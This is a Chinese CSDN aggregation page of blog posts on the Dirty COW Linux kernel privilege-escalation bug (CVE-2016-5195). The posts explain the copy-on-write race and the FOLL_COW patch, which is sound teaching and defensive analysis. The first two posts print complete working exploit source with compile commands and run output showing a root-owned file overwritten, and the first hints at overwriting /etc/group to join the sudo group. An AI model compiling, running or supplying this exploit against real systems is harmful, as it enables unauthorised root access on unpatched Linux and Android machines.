dirtycow linux_linux 修复dirtycow - CSDN
精华内容
参与话题
  • Linux Dirty COW(脏牛)漏洞介绍及检测

    万次阅读 2016-10-30 14:39:08
    Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏,可利用此漏洞非法获得读写权限,进而提升权限。

    漏洞描述

    描述引用来源:https://github.com/dirtycow
    A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.

    Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏。

    The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016. List of patched versions here

    这个bug自Linux 2.6.22(发布于 2007 年)存在至今,并于2016年10月18日被修复。点击这里查看已发布补丁的Linux版本。

    Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏,可利用此漏洞非法获得读写权限,进而提升权限。
    Dirty COW

    漏洞检测方法

    /* 
     * author  : http://www.ichunqiu.com/course/56009 
     * title   : 实验1 CVE-2016-5195(脏牛)内核提权漏洞分析 
     * modify  : 天苍野茫 
     * fileName: dirtycow.c
     * build   : gcc -pthread dirtycow.c -o dirtycow
     */
    #include <stdio.h>
    #include <sys/mman.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <string.h>
    #include <stdint.h>
    
    void *map;
    int f;
    struct stat st;
    char *name;
    int bSuccess = 0;
    
    void *madviseThread(void *arg)
    {
        char *str;
        str = (char *)arg;
        int f = open(str, O_RDONLY);
        int i = 0, c = 0;
        char buffer1[1024], buffer2[1024];
        int size;
        lseek(f, 0, SEEK_SET);
        size = read(f, buffer1, sizeof(buffer1));
        while(i < 100000000)
        {
            c += madvise(map, 100, MADV_DONTNEED);
            lseek(f, 0, SEEK_SET);
            size = read(f, buffer2, sizeof(buffer2));
            if(size > 0 && strcmp(buffer1, buffer2))
            {
                printf("Hack success!\n\n");
                bSuccess = 1;
                break;
            }
            i++;
        }
        close(f);
        printf("madvise %d\n\n", c);
    }
    
    void *procselfmemThread(void *arg)
    {
        char *str;
        str = (char *)arg;
    
        int f = open("/proc/self/mem", O_RDWR);
        int i = 0, c = 0;
        while(i < 100000000 && !bSuccess)
        {
            lseek(f, (uintptr_t)map, SEEK_SET);
            c += write(f, str, strlen(str));
            i++;
        }
        close(f);
        printf("procselfmem %d \n\n", c);    
    }
    
    int main(int argc, char *argv[])
    {
        if(argc < 3)
        {
            (void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
            return 1;
        }
        pthread_t pth1, pth2;
    
        f = open(argv[1], O_RDONLY);
        fstat(f, &st);
        name = argv[1];
    
        map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
        printf("mmap %zx\n\n", (uintptr_t)map);
    
        pthread_create(&pth1, NULL, madviseThread, argv[1]);
        pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
    
        pthread_join(pth1, NULL);
        pthread_join(pth2, NULL);
    
        close(f);
    
        return 0;
    }

    漏洞检测结果

    平台信息

    tiancangyemang@ubuntu:~$ uname -a
    Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
    
    tiancangyemang@ubuntu:~$ gcc --version
    gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
    Copyright (C) 2013 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.  There is NO
    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

    测试过程

    编译

    tiancangyemang@ubuntu:~$ gcc -pthread dirtycow.c -o dirtycow

    准备测试目标

    tiancangyemang@ubuntu:~$ echo ABCDEFGHIJKLMN > target.txt
    tiancangyemang@ubuntu:~$ cat target.txt 
    ABCDEFGHIJKLMN
    tiancangyemang@ubuntu:~$ chmod 644 target.txt
    tiancangyemang@ubuntu:~$ sudo chown root:root target.txt
    [sudo] password for tiancangyemang:
    
    tiancangyemang@ubuntu:~$ ls -l target.txt
    -rw-r--r-- 1 root root 15 1030 13:14 target.txt

    开始测试

    tiancangyemang@ubuntu:~$ cat target.txt 
    ABCDEFGHIJKLMN
    tiancangyemang@ubuntu:~$ ./dirtycow target.txt 1234567890
    mmap 7fa185de3000
    
    Hack success!
    
    procselfmem 52150 
    
    madvise 0
    
    tiancangyemang@ubuntu:~$ ls -l target.txt 
    -rw-r--r-- 1 root root 15 1030 13:14 target.txt
    
    tiancangyemang@ubuntu:~$ cat target.txt 
    1234567890KLMN

    结论

    • 由上面的测试数据可知,只要有对target.txt的可读权限,就可以利用Dirty COW漏洞获得读写权限!
    • 若把目标从target.txt改成/etc/group,将自己加入sudo组,你懂的~

    补充

    Dirty COW漏洞是一个远古时期的漏洞(2007年,Linux 2.6.22),影响版本广泛,现在市面上绝大部分 Android 手机的 Linux 版本都大于2.6.22,换言之,目前市面上绝大部分 Android 手机均面临Dirty COW漏洞的威胁!

    简书同步发表

    展开全文
  • DirtyCow Linux权限提升漏洞分析

    千次阅读 2020-06-23 17:34:04
    DirtyCow Linux权限提升漏洞分析 如上图,这个漏洞的特点就是线程竞争导致可以读写的权限被扩大了。其实具体说可能有点绕,就是foll_write标志在row特性执行后去掉了,但是再次执行时却没有检查页表项的有效性,...

    DirtyCow Linux权限提升漏洞分析
    这里写图片描述
    如上图,这个漏洞的特点就是线程竞争导致可以读写的权限被扩大了。其实具体说可能有点绕,就是foll_write标志在row特性执行后去掉了,但是再次执行时却没有检查页表项的有效性,导致我们可以利用另一个线程清空页表。清空的页表由于没有了foll_write权限要求,再次被分配时就不执行row执行机制,导致原本不应该本写的地址拥有了写的权限。

    这里写图片描述

    这里写图片描述

    这里写图片描述

    画了个图,感觉应该挺形象的。

    /*
    ####################### dirtyc0w.c #######################
    $ sudo -s
    # echo this is not a test > foo
    # chmod 0404 foo
    $ ls -lah foo
    -r-----r-- 1 root root 19 Oct 20 15:23 foo
    $ cat foo
    this is not a test
    $ gcc -pthread dirtyc0w.c -o dirtyc0w
    $ ./dirtyc0w foo m00000000000000000
    mmap 56123000
    madvise 0
    procselfmem 1800000000
    $ cat foo
    m00000000000000000
    ####################### dirtyc0w.c #######################
    */
    #include <stdio.h>
    #include <sys/mman.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <string.h>
    #include <stdint.h>
    
    void *map;
    int f;
    struct stat st;
    char *name;
     
    void *madviseThread(void *arg)
    {
      char *str;
      str=(char*)arg;
      int i,c=0;
      for(i=0;i<100000000;i++)
      {
    /*
    You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
    > This is achieved by racing the madvise(MADV_DONTNEED) system call
    > while having the page of the executable mmapped in memory.
    */
        c+=madvise(map,100,MADV_DONTNEED);
      }
      printf("madvise %d\n\n",c);
    }
     
    void *procselfmemThread(void *arg)
    {
      char *str;
      str=(char*)arg;
    /*
    You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
    >  The in the wild exploit we are aware of doesn't work on Red Hat
    >  Enterprise Linux 5 and 6 out of the box because on one side of
    >  the race it writes to /proc/self/mem, but /proc/self/mem is not
    >  writable on Red Hat Enterprise Linux 5 and 6.
    */
      int f=open("/proc/self/mem",O_RDWR);
      int i,c=0;
      for(i=0;i<100000000;i++) {
    /*
    You have to reset the file pointer to the memory position.
    */
        lseek(f,(uintptr_t) map,SEEK_SET);
        c+=write(f,str,strlen(str));
      }
      printf("procselfmem %d\n\n", c);
    }
     
     
    int main(int argc,char *argv[])
    {
    /*
    You have to pass two arguments. File and Contents.
    */
      if (argc<3) {
      (void)fprintf(stderr, "%s\n",
          "usage: dirtyc0w target_file new_content");
      return 1; }
      pthread_t pth1,pth2;
    /*
    You have to open the file in read only mode.
    */
      f=open(argv[1],O_RDONLY);
      fstat(f,&st);
      name=argv[1];
    /*
    You have to use MAP_PRIVATE for copy-on-write mapping.
    > Create a private copy-on-write mapping.  Updates to the
    > mapping are not visible to other processes mapping the same
    > file, and are not carried through to the underlying file.  It
    > is unspecified whether changes made to the file after the
    > mmap() call are visible in the mapped region.
    */
    /*
    You have to open with PROT_READ.
    */
      map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
      printf("mmap %zx\n\n",(uintptr_t) map);
    /*
    You have to do it on two threads.
    */
      pthread_create(&pth1,NULL,madviseThread,argv[1]);
      pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
    /*
    You have to wait for the threads to finish.
    */
      pthread_join(pth1,NULL);
      pthread_join(pth2,NULL);
      return 0;
    }
    

    这个漏洞强大的表现在于,不会被一般环境限制,只要是页表在执行row机制的时候,我们就可以想办法竞争清空页表。然后获取只读地址的可写权限。这种漏洞个人感觉利用起来还是比较方便的。不过可惜早就补上了。

    文章中的原图下载

    看了下以前写的东西,有点复杂化。
    其实就这样

    正常流程:
    第一次处理缺页错误,do_cow_fault->
    第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
    可以写入cow页面

    漏洞流程:

    第一次处理缺页错误,do_cow_fault->
    第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
    madvise unmap内存映射->
    第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。

    获取的页面本身没有标志,是可写的。
    但是如果利用FOLL_WRITE标志去申请,是得不到原始页面的。只能得到一个副本页面。

    关键在于第二次分配页面完成后,madvise要竞争获取到执行流程,阻止第三次获取到cow分配的副本页面。

    因为页面全部释放,但是第三次请求为follow_page_mask(无FOLL_WRITE)。所以会从新生成原始页面。
    重新follow_page_mask(无FOLL_WRITE)时也就是第四次分配页面就可以得到原始页面。

    修复增加了FOLL_COW标志

    正常流程就变为第二次查找后增加FOL_COW标志,由于FOLL_WRITE标志一直存在。
    所以即使页面被竞态释放,但重新生成的原始页面不可能被FOLL_COW标志的follow_page_mask申请到,而是会重新生成cow页面。那么漏洞就不存在了。

    展开全文
  • 概述这篇分析最早写在团队的BLOG里,在这里也贴一下...DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年

    DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

    0x0 概述

    这篇分析最早写在团队的BLOG里,在这里也贴一下(http://lab.xmirror.cn/)。

    DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

    This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).

    该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

    0x1 POC分析

    先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码:

    void *madviseThread(void *arg)
    {
      char *str;
      str=(char*)arg;
      int i,c=0;
      for(i=0;i<100000000;i++)
      {
       c+=madvise(map,100,MADV_DONTNEED);
      }
      printf("madvise %d\n\n",c);
    }
    
    void *procselfmemThread(void *arg)
    {
      char *str;
      str=(char*)arg;
    
      int f=open("/proc/self/mem",O_RDWR);
      int i,c=0;
      for(i=0;i<100000000;i++) {
    
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
      }
      printf("procselfmem %d\n\n", c);
    }
    
    int main(int argc,char *argv[])
    {
      if (argc<3)return 1;
      pthread_t pth1,pth2;
    
      f=open(argv[1],O_RDONLY);
      fstat(f,&st);
      name=argv[1];
    
      map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
      printf("mmap %x\n\n",map);
    
      pthread_create(&pth1,NULL,madviseThread,argv[1]);
      pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
    
      pthread_join(pth1,NULL);
      pthread_join(pth2,NULL);
      return 0;
    }
    

    上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

    main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

    第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

    madvise(map,100,MADV_DONTNEED)
    

    madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

    另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。

    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
    

    0x2 漏洞原理分析

    这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

    执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

    __get_user_pages{
            ……
    retry:
              if (unlikely(fatal_signal_pending(current)))
                         return i ? i : -ERESTARTSYS;
              cond_resched();
              page = follow_page_mask(vma, start, foll_flags, &page_mask);
              if (!page) {
                      int ret;
                      ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
                      switch (ret) {
                        case 0:
                               goto retry;
            ……
    }
    

    当上述流程走到case 0时,会循环调用follow_page_mask、faultin_page两个函数。由于第一次调用__get_user_pages,需要处理缺页,会进行如下的调用序列

    get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault
    

    当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

    do_fault{
        ……
        if (!(fe->flags & FAULT_FLAG_WRITE))
            return do_read_fault(fe, pgoff);
        //当不是VM_SHARED的时候,执行cow
        if (!(vma->vm_flags & VM_SHARED))
            return do_cow_fault(fe, pgoff);
        ……
    }
    

    继续执行:

    do_fault->do_cow_fault->alloc_set_pte
    

    其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

    maybe_mkwrite(pte_mkdirty(entry), vma)
    

    faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

    retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

    follow_page_mask->follow_page_pte
    
    follow_page_pte{
        ...
        if ((flags & FOLL_WRITE) && !pte_write(pte)) {
                pte_unmap_unlock(ptep, ptl);
                return NULL;
        }
        ...
    }
    

    这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

    第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。

    Handle_pte_fault{
     if (fe->flags & FAULT_FLAG_WRITE) {
                if (!pte_write(entry))
                       return do_wp_page(fe, entry);
                entry = pte_mkdirty(entry);
        }
    }
    

    此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

    do_wp_page-> ……->wp_page_reuse
    

    由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。

    Fault_in_page{
        ...
        if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
                *flags &= ~FOLL_WRITE;
    }
    

    正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

    但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。

    do_fault{
        ……
        if (!(fe->flags & FAULT_FLAG_WRITE))
            return do_read_fault(fe, pgoff);
        //当不是VM_SHARED的时候,执行cow
        if (!(vma->vm_flags & VM_SHARED))
            return do_cow_fault(fe, pgoff);
        ……
    }
    

    这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

    再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

    正常流程:

    第一次处理缺页错误,do_cow_fault-> 
    第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
    可以写入cow页面
    

    漏洞流程:

    第一次处理缺页错误,do_cow_fault-> 
    第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
    madvise unmap内存映射->
    第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。
    

    0x03 补丁分析

    补丁加入了一个标志位,标识之前进行过COW

    +#define FOLL_COW   0x4000  /* internal GUP flag */
    

    faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    -       *flags &= ~FOLL_WRITE;
    +       *flags |= FOLL_COW;
    return 0;
    

    follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。

    +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
    +{
    +   return pte_write(pte) ||
    +       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    +}
    
    follow_page_pte{
    ...
    -   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
    +   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
            pte_unmap_unlock(ptep, ptl);
            return NULL;
    }
    

    1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

    2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

    至此,整个漏洞原理基本分析完毕,关于漏洞利用,很多文章也说了很多方法,这里https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs是各种POC、利用的一个集合,可以自己去开脑洞尝试各种方法。本篇分析也是建立在其他漏洞、内核研究者的基础上,结合作者对linux内核的有限认知去剖析其中的原理,只是希望起到抛砖引玉,多交流和学习。

    参考:

    https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

    https://dirtycow.ninja/

    https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

    http://bobao.360.cn/learning/detail/3132.html

    http://lxr.free-electrons.com/source/mm/gup.c

    http://lxr.free-electrons.com/source/mm/memory.c

    http://lxr.free-electrons.com/source/mm/madvise.c

    展开全文
  • 悬镜安全实验室原创文章,如需转载,请联系小编。首发平台:悬镜官网。
    
    

    本文为悬镜安全实验室原创文章,文章首发平台:悬镜官网-安全实验室。如需转载,请联系小编。

    0x0 概述

    DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

    This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a ("Fix getuserpages() race for write access") but that was then undone due to problems on s390 by commit f33ea7f404e5 ("fix getuserpages bug").

    该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

    0x1 POC分析

    先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码:

    
        void *madviseThread(void *arg)
        {
          char *str;
          str=(char*)arg;
          int i,c=0;
          for(i=0;i<100000000;i++)
          {
           c+=madvise(map,100,MADV_DONTNEED);
          }
          printf("madvise %d\n\n",c);
        }
         
        void *procselfmemThread(void *arg)
        {
          char *str;
          str=(char*)arg;
          
          int f=open("/proc/self/mem",O_RDWR);
          int i,c=0;
          for(i=0;i<100000000;i++) {
          
        lseek(f,map,SEEK_SET);
        c+=write(f,str,strlen(str));
          }
          printf("procselfmem %d\n\n", c);
        }
              
        int main(int argc,char *argv[])
        {
          if (argc<3)return 1;
          pthread_t pth1,pth2;
           
          f=open(argv[1],O_RDONLY);
          fstat(f,&st);
          name=argv[1];
      
          map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
          printf("mmap %x\n\n",map);
           
          pthread_create(&pth1,NULL,madviseThread,argv[1]);
          pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
        
          pthread_join(pth1,NULL);
          pthread_join(pth2,NULL);
          return 0;
        }
    

    上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

    main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

    第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

    madvise(map,100,MADV_DONTNEED)
    

    madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

    另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。

    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
    

    0x2 漏洞原理分析

    这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

    执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

    __get_user_pages{
            ……
    retry:
              if (unlikely(fatal_signal_pending(current)))
                         return i ? i : -ERESTARTSYS;
              cond_resched();
              page = follow_page_mask(vma, start, foll_flags, &page_mask);
              if (!page) {
                      int ret;
                      ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
                      switch (ret) {
                        case 0:
                               goto retry;
            ……
    }
    

    当上述流程走到case 0时,会循环调用follow_page_mask、faultinpage两个函数。由于第一次调用_get_user_pages,需要处理缺页,会进行如下的调用序列

    get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault
    

    当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

    do_fault{
        ……
        if (!(fe->flags & FAULT_FLAG_WRITE))
            return do_read_fault(fe, pgoff);
        //当不是VM_SHARED的时候,执行cow
        if (!(vma->vm_flags & VM_SHARED))
            return do_cow_fault(fe, pgoff);
        ……
    }
    

    继续执行:

    do_fault->do_cow_fault->alloc_set_pte
    

    其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

    maybe_mkwrite(pte_mkdirty(entry), vma)
    

    faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

    retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

    follow_page_mask->follow_page_pte
    
    follow_page_pte{
        ...
        if ((flags & FOLL_WRITE) && !pte_write(pte)) {
                pte_unmap_unlock(ptep, ptl);
                return NULL;
        }
        ...
    }
    

    这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

    第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。

    Handle_pte_fault{
     if (fe->flags & FAULT_FLAG_WRITE) {
                if (!pte_write(entry))
                       return do_wp_page(fe, entry);
                entry = pte_mkdirty(entry);
        }
    }
    

    此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

    do_wp_page-> ……->wp_page_reuse
    

    由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。

    Fault_in_page{
        ...
        if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
                *flags &= ~FOLL_WRITE;
    }
    

    正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

    但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。

    do_fault{
        ……
        if (!(fe->flags & FAULT_FLAG_WRITE))
            return do_read_fault(fe, pgoff);
        //当不是VM_SHARED的时候,执行cow
        if (!(vma->vm_flags & VM_SHARED))
            return do_cow_fault(fe, pgoff);
        ……
    }
    

    这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

    再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

    正常流程:

    第一次处理缺页错误,do_cow_fault-> 
    第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
    可以写入cow页面
    

    漏洞流程:

    第一次处理缺页错误,do_cow_fault-> 
    第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
    madvise unmap内存映射->
    第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。
    

    0x03 补丁分析

    补丁加入了一个标志位,标识之前进行过COW

    +#define FOLL_COW   0x4000  /* internal GUP flag */
    

    faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    -       *flags &= ~FOLL_WRITE;
    +       *flags |= FOLL_COW;
    return 0;
    

    follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。

    +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
    +{
    +   return pte_write(pte) ||
    +       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    +}
    
    follow_page_pte{
    ...
    -   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
    +   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
            pte_unmap_unlock(ptep, ptl);
            return NULL;
    }
    

    1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

    2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

    至此,整个漏洞原理基本分析完毕,关于漏洞利用,很多文章也说了很多方法,这里https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs是各种POC、利用的一个集合,可以自己去开脑洞尝试各种方法。本篇分析也是建立在其他漏洞、内核研究者的基础上,结合作者对linux内核的有限认知去剖析其中的原理,只是希望起到抛砖引玉,多交流和学习。

    参考:

    https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

    https://dirtycow.ninja/

    https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

    http://bobao.360.cn/learning/detail/3132.html

    http://lxr.free-electrons.com/source/mm/gup.c

    http://lxr.free-electrons.com/source/mm/memory.c

    http://lxr.free-electrons.com/source/mm/madvise.c

    展开全文
  • dirtycow脏牛linux提权exp

    2020-07-30 23:31:26
    dirtycow脏牛linux提权exp
  • dirtycow脏牛漏洞

    2020-07-30 23:32:12
    linux 内核(Linux Kernel >= 2.6.22)通用提权漏洞(脏牛Dirty COW)利用示例(使用效果图+以编译工具)
  • DirtyCow(脏牛)漏洞复现

    万次阅读 2018-08-20 23:31:32
    这几天发现90sec需要登录才能浏览文章,为了方便就把该文章也发在个人博客,并顺便把之前编译好的脏牛提权EXP也一块放出来。 编译好的EXP下载地址: ...该漏洞是 Linux 内核的内存子...
  • 尽管DirtyCOW已被修补一年,但资安业者Bindecy发现修补并不完全,第三方在未授权...在Linux重大安全漏洞—DirtyCOW(CVE-2016–5195)被修补的一年之后,资安业者Bindecy发现该修补程序并不完全,使得Linux核心的首席开
  • 该漏洞可以让低权限的用户利用内存写时复制机制的缺陷来提升自己的系统权限,从而获取root权限,这样黑客可以利用该漏洞入侵服务器,现在大部分的服务器都跑着linux系统。这个漏洞被称为Dirty COW,代号为CVE-2016-...
  • DirtyCow CVE-2016-5195分析

    2018-08-09 23:34:26
    DirtyCow漏洞算是2016年linux社区一件大事情了,通过此漏洞,非授权用户可以写入任意文件,进一步提升权限。漏洞触发简单,涉及众多的linux版本和平台(linux2.6.22及其以上,涉及redhat,ubuntu,suse等多多平台)...
